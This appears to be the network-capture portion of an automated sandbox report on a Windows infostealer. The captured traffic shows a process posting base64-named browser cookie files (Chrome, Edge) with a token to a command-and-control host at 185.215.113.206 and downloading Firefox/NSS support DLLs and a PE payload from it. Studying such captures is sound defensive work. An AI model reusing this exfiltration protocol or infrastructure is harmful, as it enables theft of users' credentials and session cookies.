Nov 28, 2024 17:24:17.815622091 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49780	185.215.113.206	80	2020	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:24:27.518383980 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KKFHJDAEHIEHJJKFBGDA--
Nov 28, 2024 17:24:29.412755966 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 17:24:29.581127882 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file"------IJEHIDHDAKJDHJKEBFIE--
Nov 28, 2024 17:24:30.539902925 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49813	185.215.113.206	80	2020	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 17:24:36.319772005 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIJEBFCGDAAKFHIDBFI Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CFIJEBFCGDAAKFHIDBFI--
Nov 28, 2024 17:24:38.191721916 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 17:24:38.435692072 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file"------AKJDAEGCAFIIDGDGCGIJ--
Nov 28, 2024 17:24:39.384380102 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 17:24:40.059931993 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 17:24:40.507689953 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 28, 2024 17:24:40.507734060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 28, 2024 17:24:40.507746935 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 28, 2024 17:24:40.507757902 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 28, 2024 17:24:40.507817030 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 28, 2024 17:24:40.507829905 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 28, 2024 17:24:40.507899046 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 28, 2024 17:24:40.507911921 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 28, 2024 17:24:40.516161919 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 28, 2024 17:24:40.516221046 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 28, 2024 17:24:40.524523973 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Nov 28, 2024 17:24:42.001502991 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 17:24:42.548420906 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 28, 2024 17:24:43.426168919 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 17:24:43.980283022 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 28, 2024 17:24:44.735791922 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 17:24:45.189492941 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 28, 2024 17:24:48.386528015 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 17:24:48.843287945 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
